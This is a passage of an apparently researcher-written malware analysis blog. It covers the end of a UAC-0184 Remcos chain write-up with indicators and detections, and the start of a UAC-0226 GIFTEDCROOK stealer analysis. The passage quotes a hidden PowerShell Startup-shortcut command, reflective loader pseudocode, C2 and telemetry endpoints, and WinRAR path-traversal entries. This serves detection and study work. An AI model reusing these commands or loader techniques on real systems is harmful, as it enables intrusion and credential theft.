        "modTask64",
        "modWriteFile",
        "modWriteFile64",
        "CUSTOMINJECT",
        "PERSDATA"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_inputdll",
      "type": "file",
      "value": "%windir%\\SysWOW64\\input.dll",
      "x_role_note": "Configured module-stomping/deployment target also observed in the previous UAC-0184 sample"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_remcos",
      "type": "file",
      "value": "Remcos Agent 7.1.0 Pro",
      "x_config_cipher": "RC4",
      "x_config_resource": "SETTINGS",
      "x_install_filename": "remcos.exe",
      "x_mutex": "Rmc-X5JFP2",
      "x_sha256": "40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_c2",
      "type": "ip",
      "value": "144.31.236.240",
      "x_port": 27018,
      "x_protocol": "tcp",
      "x_role_note": "Remcos C2 recovered from decrypted SETTINGS resource"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 1,
      "to": "e_readme",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 2,
      "to": "e_lnk_012",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 3,
      "to": "e_lnk_013",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 4,
      "to": "e_lnk_014",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 5,
      "to": "e_lnk_xlsx",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_012",
      "sequence_order": 6,
      "to": "e_ps1_rite_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_013",
      "sequence_order": 7,
      "to": "e_ps1_shout_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_014",
      "sequence_order": 8,
      "to": "e_ps1_hint_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_xlsx",
      "sequence_order": 9,
      "to": "e_ps1_collect_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 10,
      "to": "e_rite_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 11,
      "to": "e_shout_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 12,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 13,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_hint_url",
      "sequence_order": 14,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_collect_url",
      "sequence_order": 15,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 16,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_rite_ps1",
      "sequence_order": 17,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_shout_ps1",
      "sequence_order": 18,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 19,
      "to": "e_payload_zip",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 20,
      "to": "e_clusterhub",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 21,
      "to": "e_update",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 22,
      "to": "e_logging",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 23,
      "to": "e_monitor",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 24,
      "to": "e_physics",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_clusterhub",
      "sequence_order": 25,
      "to": "e_update",
      "type": "execute"
    },
    {
      "confidence": "likely",
      "from": "e_update",
      "sequence_order": 26,
      "to": "e_logging",
      "type": "execute"
    },
    {
      "confidence": "confirmed",
      "from": "e_update",
      "sequence_order": 27,
      "to": "e_monitor",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_monitor",
      "sequence_order": 28,
      "to": "e_shellcode",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_shellcode",
      "sequence_order": 29,
      "to": "e_physics",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_physics",
      "sequence_order": 30,
      "to": "e_idat_stream",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_idat_stream",
      "sequence_order": 31,
      "to": "e_hijack_bundle",
      "type": "drops"
    },
    {
      "confidence": "likely",
      "from": "e_hijack_bundle",
      "sequence_order": 32,
      "to": "e_inputdll",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_hijack_bundle",
      "sequence_order": 33,
      "to": "e_remcos",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_remcos",
      "sequence_order": 34,
      "to": "e_c2",
      "type": "connect"
    }
  ],
  "title": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "x_evidence_url": "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/",
  "x_note": "Only ritecommunion.ps1 and shoutnewspaper.ps1 were available for direct inspection. hintprefix.ps1 and collectivisationgown.ps1 are confirmed as LNK-referenced URLs, but their bodies were not present in the analyzed set. Endpoint execution details are retained as chain context; IIM technique annotations are limited to applicable infrastructure/container properties."
}

You can test it in the IIM Workbench


The same IP is therefore visible at both the staging and C2 positions.
The chain does not show a separate redirector, domain or frontend service in the analyzed artifacts.

The IIM representation also highlights an important distinction:

144.31.236.240:80

is used for delivery while:

144.31.236.240:27018

is used by the final payload for command and control.

They are the same infrastructure entity performing different roles within the campaign flow.

Defensive observations

The strongest detections should focus on combinations of artifacts and behavior rather than one filename.

Initial archive and shortcut signals

Investigate archives containing apparent image or Office filenames that end in .lnk, especially when accompanied by instructions telling the user to extract them before opening.

The observed shortcut command lines combine:

cmd.exe /v /c
MSXML2.XMLHTTP
ADODB.Stream
cscript //b
powershell -NoP -W Hidden -ExecutionPolicy Bypass

The API names are reconstructed from smaller strings and the downloaded scripts are deleted after execution.

PowerShell staging signals

The recovered scripts:

  • download szch45clusterhum.zip;
  • create an MSWinDistro directory;
  • extract the archive;
  • execute MSWinDistro/ClusterHub.exe;
  • open a matching JPG decoy.

The combination of an application-like extraction directory, OneDrive components and image decoys is unusual.

OneDrive sideload signals

Investigate OneDrive-related binaries running from:

Downloads
Desktop
%TEMP%
%APPDATA%

or from an archive-created directory such as:

MSWinDistro

The following local combination is particularly relevant:

ClusterHub.exe
UpdateRingSettings.dll
LoggingPlatform.dll
monitor_base.sym
physicsdesc.map

Container-level signals

The local payload containers can be detected structurally:

  • large printable filler prefix;
  • no valid PNG signature;
  • repeated big-endian PNG chunk lengths;
  • many consecutive IDAT chunks;
  • final IEND;
  • reconstructed data that becomes meaningful after DWORD XOR and LZNT1 decompression.

These properties are likely to survive filename and hash rotation.

Network signals

Relevant observed endpoints are:

http://144.31.236[.]240/szch45/ritecommunion.ps1
http://144.31.236[.]240/szch45/shoutnewspaper.ps1
http://144.31.236[.]240/szch45/hintprefix.ps1
http://144.31.236[.]240/szch45/collectivisationgown.ps1
http://144.31.236[.]240/szch45clusterhum.zip
144.31.236[.]240:27018

Connections to the HTTP paths indicate delivery activity.

Connections to TCP port 27018 are associated with the recovered Remcos configuration.

Conclusion

The newly recovered initial artifacts complete the chain.

The campaign does not begin with ClusterHub.exe.

It begins with a Ukrainian-language archive containing four shortcuts disguised as images and a spreadsheet.

Those shortcuts construct a small VBScript downloader, retrieve PowerShell stages and delete the temporary files after execution. The PowerShell scripts download a second ZIP, extract a OneDrive-themed application package, start the sideload host and open a real decoy file.

From that point onward, the chain follows the same broad architecture documented in the previous UAC-0184 sample:

The actor changed the delivery mechanism.

  • They replaced the Plane9 exterior with OneDrive
  • They rotated the container names, keys, offsets and final payload
  • They retained the core loading pipeline and even reused the internal %windir%\SysWOW64\input.dll path

The newest build also provides a much clearer endgame.

The modular HijackLoader bundle decodes Remcos Agent 7.1.0 Pro, configured to communicate with the same server that delivered the initial PowerShell stages and secondary archive:

144.31.236.240:27018

The exterior changed.
The loader skeleton remained.
And this time, the complete path from the first click to the final controller is visible.

Core indicators

Initial archive
spisokszch.zip
SHA-256:
c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

JPG_012.jpg.lnk
SHA-256:
bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851

JPG_013.jpg.lnk
SHA-256:
fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8

JPG_014.jpg.lnk
SHA-256:
a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c

spisokszch.xlsx.lnk
SHA-256:
6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef

ritecommunion.ps1
SHA-256:
adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc

shoutnewspaper.ps1
SHA-256:
43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7

collectivisationgown.ps1
SHA-256:
95c8f0ac2e427a5637e554c60f649cab1fe55f649fe3aacde3c66fdc6491921b

hintprefix.ps1
SHA-256:
56b19b9f63a649e8cfb9a0e4bb73aac52fbc2265e9793a5b976221432d0ba77f

Secondary archive
szch45clusterhum.zip
SHA-256:
fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633

ClusterHub.exe
SHA-256:
a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93

UpdateRingSettings.dll
SHA-256:
da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7

LoggingPlatform.dll
SHA-256:
c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1

monitor_base.sym
SHA-256:
93621d3793198cb00c1a0450e8e3375d6c0de862a8449ab796c894062ae32612

physicsdesc.map
SHA-256:
ad17e13f05399f0c3a2b13505507a78d8c2dbe2850e507a2d78b9dfa2f5b5e9a

Decoded Remcos Agent
SHA-256:
40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1

198995fecc0e38a2749b7e48c54112a959b77878683b726ee36430c4bacec196  00_000004f0_x86.bin
c50bffbef786eb689358c63fc0585792d174c5e281499f12035afa1ce2ce19c8  01_00045f4a_x86.bin
8e8e43a2f0069f081f5ffb77237faebcda9a46e8f8fd0e128500e74bbc9ea3a5  02_00091422_x64.bin
3594a835ed3dbf80ac460c0e852fa91baa3b17aadff9c3b40c03eff6b34658d2  03_000cd556_x86.bin
729e5965e43ff458f6da901536c9a43be52a3820718e2dd5456150e2d73bb97f  04_000ce156_x64.bin
68bee500e0080f21c003126e73b6d07804d23ac98b2376a8b76c26297d467abe  05_000e9b56_x86.bin
b02b8547644bbfe77428e59c5ccec56c412e3c83aec44180e59110189a249956  06_000ea556_x64.bin
324e2f2241604e53b88bd590213385abbb2961d3f17debfb4d40e4fa7bd9c4c0  07_001018c2_x86.bin

04_decompressed_hijackloader_bundle.bin
SHA256:
4870337bcd6e3ba0d82ca6a42604c05f1885c87967d0dc120f699d2b19706247

Delivery and C2:
144.31.236.240
144.31.236.240:27018

Mutex:
Rmc-X5JFP2

Configured filename:
remcos.exe

Tracking UAC-0226 Tooling Evolution: From WinRAR ADS to Reflective GIFTEDCROOK Loading

by Robin Dost


A few months ago, I analyzed a UAC-0226 campaign delivering a GIFTEDCROOK stealer through a weaponized WinRAR archive.
Of course, that wasn’t it yet, we’re going to keep tracking our friends, so let’s go 🙂

The chain was relatively simple:

RAR archive
    -> decoy PDF
    -> LNK
    -> obfuscated PowerShell
    -> additively encoded payload
    -> GIFTEDCROOK


Sample: 420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

The sample discussed here follows the same general idea, but the implementation is different.

This time, the actor uses an ADS-based WinRAR path traversal to silently place a shortcut in the Windows Startup directory while dropping two additional stages into C:\ProgramData.

The PowerShell loader is still buried under generated garbage, but the payload behind it is more interesting: an additively encoded, headerless PE image containing its own reflective mapper.

Underneath that loader sits a browser and file stealer targeting Chromium, Firefox, documents, VPN configurations, KeePass databases and other potentially sensitive material.

So, let’s take the chain apart.

Before we start:

I wilI will use my Infrastructure Intelligence Model (IIM) to demonstrate how easily two attacks from the same actor can be compared without reducing the analysis to changing hashes, filenames and IP addresses.

If you are new to IIM, I recommend reading the following pages first:

https://blog.synapticsystems.de/attack-pattern-mapping-for-adversary-infrastructure/
https://blog.synapticsystems.de/iimql-the-query-language-for-adversary-infrastructure-4-7/
https://blog.synapticsystems.de/iim-the-grammar-of-adversary-infrastructure/

Why IIM is useful in this case

Traditional threat intelligence platforms are good at storing indicators and mapping techniques.
What they often fail to preserve is the structure of the attack itself:

How was the payload delivered?
Which component triggered execution?
What changed between campaigns?
Which parts of the chain remained stable?

This becomes especially visible with actors such as Gamaredon.
Their infrastructure, filenames, scripts and payloads rotate constantly, while recurring operational patterns often remain hidden across separate reports and IOC collections.

IIM models each component by its role inside the chain, such as Entry, Staging, Payload or C2.
This makes different campaigns directly comparable, even when all underlying indicators have changed.

The result is what I call Tooling Evolution Intelligence: understanding how an actors delivery methods, loaders, payload formats and operational decisions evolve over time.

In the following analysis, two UAC-0226/GIFTEDCROOK attacks are placed into the same IIM view.
The underlying pattern remains recognizable, while changes in persistence, payload encoding, in-memory loading and telemetry become visible immediately.

Initial archive structure

The archive was presented as a Ukrainian PDF named:

взвод розвідки.pdf

This roughly translates to:

Reconnaissance platoon

The visible PDF contains references to:

Дрон на оптоволокні
Fiber-optic drone

Літак-розвідник
Reconnaissance aircraft

It also contains names and military ranks.

That is a much narrower theme than a generic military document.
The lure appears specifically designed around Ukrainian reconnaissance and UAV-related personnel.

The recovered archive entries looked like this:

взвод розвідки.pdf

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\WC3

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\wt1

взвод розвідки.pdf:..\..\..\..\..\Roaming\Microsoft\Windows\
Start Menu\Programs\Startup\ThJRq_6uEj.lnk

The colon after the PDF filename is important.

These are not merely oddly named files.
The syntax is consistent with NTFS Alternate Data Streams combined with path traversal.
If you follow this Blog, you might already know this CVE through my Gamaredon (UAC-0010) series.

CVE-2025-6218 is the related earlier WinRAR path traversal issue.
Both vulnerabilities are often mentioned together, but the ADS structure visible in this archive is the distinguishing part of CVE-2025-8088.

The resulting file placement is:

C:\ProgramData\WC3
C:\ProgramData\wt1

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
ThJRq_6uEj.lnk

This already changes the interaction model compared to the previous sample.

The victim does not necessarily need to identify and manually launch a suspicious shortcut from the extracted archive.
The shortcut is placed directly into the user’s Startup directory and is executed when that user logs in again.

Stage 0: The Startup shortcut

The shortcut points to:

C:\Windows\System32\cmd.exe

Its arguments normalize to approximately:

cmd.exe /c start /min "" ^
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass ^
-Command "powershell -NoProfile -ExecutionPolicy Bypass ^
-Command \"iex (Get-Content 'C:\ProgramData\WC3' -Raw)\""

The execution chain is therefore:

Startup LNK
    -> cmd.exe
    -> minimized PowerShell
    -> second hidden PowerShell
    -> read C:\ProgramData\WC3
    -> execute it through IEX

There is no remote download at this point.
Everything required for execution has already been planted by the archive.

The shortcut metadata contains the machine identifier:

desktop-hagd25b

It also contains timestamps close to the creation time of the decoy PDF.
These values may describe the system used to package the archive, although LNK and document timestamps should always be treated as low-confidence artifacts because they are easy to manipulate.

Stage 1: Deobfuscating WC3

Despite its extensionless filename, WC3 is a PowerShell script.

At first glance, it is intentionally unpleasant:

random function names
random variable names
large meaningless arrays
constant arithmetic
thousands of irrelevant Write-Host calls
sleep operations
unused helper functions

The script is around 92 KB, but only a small fraction of it contributes to the actual execution chain.

This is the same general obfuscation philosophy seen in the earlier UAC-0226 sample: generate enough noise to make the script look complicated without introducing a particularly strong protection mechanism.

The first step was therefore not to understand every function.

It was to identify the small number of operations that interact with files, memory and native APIs.

After removing the junk, the relevant constants were:

Stage path:       C:\ProgramData\wt1
Stage size:       1,131,008 bytes
Decode value:     72 / 0x48
Execution offset: 95,152 / 0x173B0
Initial delay:    60 seconds

The script dynamically resolves the following APIs:

ntdll!NtAllocateVirtualMemory
ntdll!NtProtectVirtualMemory
ntdll!NtCreateThreadEx
ntdll!NtWaitForSingleObject
ntdll!NtClose

kernel32!GetExitCodeThread

It resolves them through .NET reflection and Microsoft.Win32.UnsafeNativeMethods rather than declaring them through a normal Add-Type block.

The cleaned execution logic looks like this:

Start-Sleep -Seconds 60

$stage = [System.IO.File]::ReadAllBytes("C:\ProgramData\wt1")

for ($i = 0; $i -lt 1131008; $i++) {
    $stage[$i] = [byte](($stage[$i] - 72) -band 0xff)
}

$base = NtAllocateVirtualMemory(
    current_process,
    1131008,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
)

Copy-ToMemory $stage $base

NtProtectVirtualMemory(
    current_process,
    $base,
    1131008,
    PAGE_EXECUTE_READWRITE
)

$thread = NtCreateThreadEx(
    current_process,
    $base + 0x173B0,
    $base
)

NtWaitForSingleObject($thread)

The decoded data is copied into the current PowerShell process and executed at a fixed offset.

That fixed offset becomes important later.

Loader telemetry

After the thread exits, WC3 collects four 32-bit values:

DWORD 0: thread exit code
DWORD 1: value at decoded image + 0x44
DWORD 2: value at decoded image + 0x48
DWORD 3: value at decoded image + 0x4C

The resulting 16-byte structure is sent to:

hxxps://142.111.194[.]73:8640/dj5FZEiLnA/

Before sending it, the loader globally disables TLS certificate validation.
Initially, the three values stored inside the decoded image looked like possible output from the stealer.
Further analysis showed that this was incorrect.
The fields are written by the reflective mapper and represent loader status, an error or NTSTATUS value and a progress or stage indicator.
This means the outer PowerShell layer implements its own execution telemetry.

The operator can likely distinguish between outcomes such as:

mapping started
allocation failed
imports failed
relocations failed
entry point reached
payload exited

This callback is separate from the actual data collection performed by the inner DLL.

Stage 2: Decoding wt1

The second ProgramData file is exactly:

1,131,008 bytes
0x114200 bytes

The decoding operation is just an additive byte transformation:

The same operation can be described as:

plaintext[i] = ciphertext[i] - 72 mod 256

This is not encryption in any meaningful cryptographic sense, it is enough to hide readable strings, signatures and headers from basic static inspection.

The previous UAC-0226 sample used essentially the same technique, but with a subtraction value of 117.
Here, the value has changed to 72.

After decoding, I expected a normal PE file.
Instead, the file still did not begin with:

MZ

At this point it would be easy to assume that the decoder was wrong.

It was not.

The payload is a headerless PE image

Although the DOS and NT headers had been replaced, the decoded data still contained recognizable PE structures:

.text
.rdata
.data
.pdata
.fptable
.reloc

The first 0x400 bytes form a custom header used by the loader.

Enough metadata remained to reconstruct the original image:

FieldValue
Original ImageBase0x180000000
SizeOfImage0x11A000
Original PE EntryPoint0x8FA84
Export Directory RVA0xDD580
Import Directory RVA0xDD5C0
Relocation Directory RVA0x119000
Number of sections6

The section layout was:

SectionRVARaw offsetRaw sizePermissions
.text0x10000x4000xAFA00RX
.rdata0xB10000xAFE000x2D800R
.data0xDF0000xDD6000x2D800RW
.pdata0x10F0000x10AE000x8200R
.fptable0x1180000x1130000x200RW
.reloc0x1190000x1132000x1000R

The export directory revealed:

DLL name: Main.dll
Export:   Func
Ordinal:  1
RVA:      0x17FB0

To convert that RVA into a raw file offset:

raw offset =
    .text raw offset
    + (export RVA - .text RVA)

raw offset =
    0x400
    + (0x17FB0 - 0x1000)

raw offset =
    0x173B0

That result exactly matches the hardcoded execution offset inside WC3:

0x173B0

So the PowerShell loader is not jumping into an arbitrary shellcode location.

It is calling:

Main.dll!Func

Main.dll!Func: The reflective mapper

The exported function is not the stealer’s main logic.

It is a custom reflective PE loader.

Its job is to take the headerless image passed by PowerShell and build a working DLL in memory.

The process is approximately:

validate custom header
    -> resolve APIs through PEB walking and export hashing
    -> allocate SizeOfImage
    -> copy headers and sections
    -> resolve imports
    -> apply relocations
    -> set section permissions
    -> initialize runtime structures
    -> call DLL entry point with DLL_PROCESS_ATTACH

The custom header acts as communication space between the mapper and the PowerShell loader.
This is where the status values at offsets 0x44, 0x48 and 0x4C originate.

The design gives the actor several advantages:

  1. The file does not look like a standard PE on disk.
  2. Static tools cannot parse it correctly without reconstruction.
  3. The payload never needs to be written back as a valid DLL.
  4. The outer loader can receive detailed mapper status.
  5. Native API usage avoids some of the most obvious PowerShell injection patterns.

This is a meaningful evolution from the simpler loader in the earlier campaign.
The previous sample decoded a payload and used more conventional memory allocation and thread execution.
The current build adds a dedicated custom-header format and a complete reflective mapper between the PowerShell script and the final DLL.

Reconstructing the inner strings

Once the PE structure was rebuilt, the next obstacle was the internal string handling.
The payload does not store most relevant strings as plaintext.
A function near the beginning of the .text section implements an RC4-like stream cipher:

256-entry state array
RC4-style key scheduling
RC4-style pseudo-random generation
state swaps
XOR with generated keystream

The main difference is that the implementation processes 16-bit values corresponding to UTF-16 words rather than treating everything as ordinary 8-bit strings.

I identified 118 call sites to this decoder.
Of those, 116 could be statically reconstructed.

The first useful results were environment variable names:

USERNAME
USERPROFILE
TEMP

The malware does not simply call GetEnvironmentVariableW.
Instead, it walks the process environment through the PEB and locates the requested values itself.

That is not necessary for functionality, but it reduces obvious API-level indicators.

Browser collection

The decrypted strings revealed explicit targeting of several browsers.

Chromium-based browsers

Google Chrome
Microsoft Edge
Opera

The payload looks for:

Login Data
Cookies
Network\Cookies
Local State
Last Version

The imported function:

CryptUnprotectData

is consistent with decrypting DPAPI-protected Chromium key material and locally stored secrets.

The payload also contains strings used to identify and filter Chromium subprocesses:

--type=utility
--type=crashpad-handler
--type=gpu-process

Firefox

The malware searches Firefox profile directories for:

logins.json
key3.db
key4.db
cookies.sqlite

This gives it access to stored login metadata, cookies and Firefox key database material.

So this is not just a generic document collector.

It includes dedicated browser-stealing functionality across both Chromium and Firefox ecosystems.

File collection

The payload also maintains an extension allowlist:

txtdocdocxdocmxls
xlsxxlsmxltxltxxltm
csvrtfdotdotxdotm
odtpptpptxpptmpps
ppsxpotpdfmdlog
emlconfziprar7z
targzipcabovpnkdbx
jkspngbmpjpegjpg

Some extensions are especially relevant:

ovpn  -> OpenVPN profiles and possibly embedded credentials
kdbx  -> KeePass databases
jks   -> Java KeyStores
eml   -> saved email messages

The collector searches locations including:

Desktop
Documents
Downloads
drive roots

Strings such as:

/Files/
/Files/C/

suggest that collected files are organized by source or drive inside the staging structure.

Local staging

The reconstructed paths include:

%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\%USERNAME%
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\
%USERNAME%\JUWOyZd5pm7qym
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt

The randomly named ZIP file is very likely the final local staging container:

%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip

The file:

%TEMP%\oBKhrQLe1CKmO3RhHO

is used as an eight-byte persistent identifier.

The logic is approximately:

if identifier file exists:
    read first eight bytes
else:
    identifier = GetSystemTimeAsFileTime()
    write identifier to file

This gives the malware a stable per-infection or per-host value without relying on the registry.

Additional referenced files include:

ExitCode.txt
Key10.txt
logs.txt

Their exact role was not fully resolved through static analysis.

Persistence and cleanup

The inner payload contains active references to:

C:\ProgramData\

%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\

cmd.exe /c "timeout /t 5 & del "

This supports code paths for:

copying or placing files in ProgramData
interacting with the user Startup folder
delayed self-deletion

The initial persistence, however, is already established by the archive itself.
The WinRAR path traversal places the LNK in Startup before the malware is executed.
The internal persistence-related code may represent:

installation repair
payload migration
redundant persistence
cleanup after execution

The exact conditions for each branch would require dynamic tracing, but it’s too hot and i am too lazy today.

What changed compared to the previous UAC-0226 sample?

The two chains are clearly related in design philosophy.

(IIM Comparison View in Kraken)


If you want to compare the two chains yourself, here’s the Chain as JSON, you can throw it into the IIM Workbench and explore it for yourself 🙂
And: If you are interested in using my tooling or you want to support me in any way, feel free to visit https://malwarebox.eu or message me via contact@robin-dost.de

Click for IIM Chain
{
  "actor_id": "UAC-0226",
  "attack_annotations": [
    {
      "comment": "Both observations use PowerShell loaders.",
      "name": "PowerShell",
      "tactic": "Execution",
      "technique_id": "T1059.001"
    },
    {
      "comment": "Generated junk code and encoded payload stages.",
      "name": "Obfuscated/Compressed Files and Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1027"
    },
    {
      "comment": "Additive decoding: 117 in April; 0x48 in June.",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1140"
    },
    {
      "comment": "June observation plants the LNK in the user Startup folder.",
      "name": "Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "technique_id": "T1547.001"
    },
    {
      "comment": "June observation maps a headerless PE image through Main.dll!Func.",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "technique_id": "T1620"
    }
  ],
  "chain": [
    {
      "entity_id": "apr_archive",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "baseline-visible-lnk",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_loader",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "virtualalloc-loader",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_encoded",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-117",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "directly-reconstructed-pe",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "data-exfiltration-c2",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "jun_archive",
      "needs_review": true,
      "review_notes": "Original archive itself was not supplied; entity value is descriptive.",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_change_marker": "ads-path-traversal",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_change_marker": "uav-recon-targeting",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "startup-persistence",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wc3",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "native-ntapi-loader",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wt1",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-0x48-custom-header",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "reflective-pe-mapper",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_telemetry",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "loader-telemetry-not-exfiltration",
      "x_lane": "june-2026"
    }
  ],
  "chain_id": "uac-0226-giftedcrook-apr-jun-2026-comparison",
  "confidence": "likely",
  "description": "Dual-lane comparison graph overlaying two related UAC-0226/GIFTEDCROOK observations. The April and June lanes remain disconnected so the visualizer can compare stable structure and implementation changes without asserting that one sample directly produced the other.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_archive",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "7200a9f1e1ea51b66ab9c9274e9d8f805633179634e8ff4dcb8ef82bc02518df",
      "x_label": "Weaponized RAR archive",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_decoy",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Відомості з реєстру військовозобов’язаних про працівників №20260409-7496423-1.pdf",
      "x_label": "Military service registry decoy",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
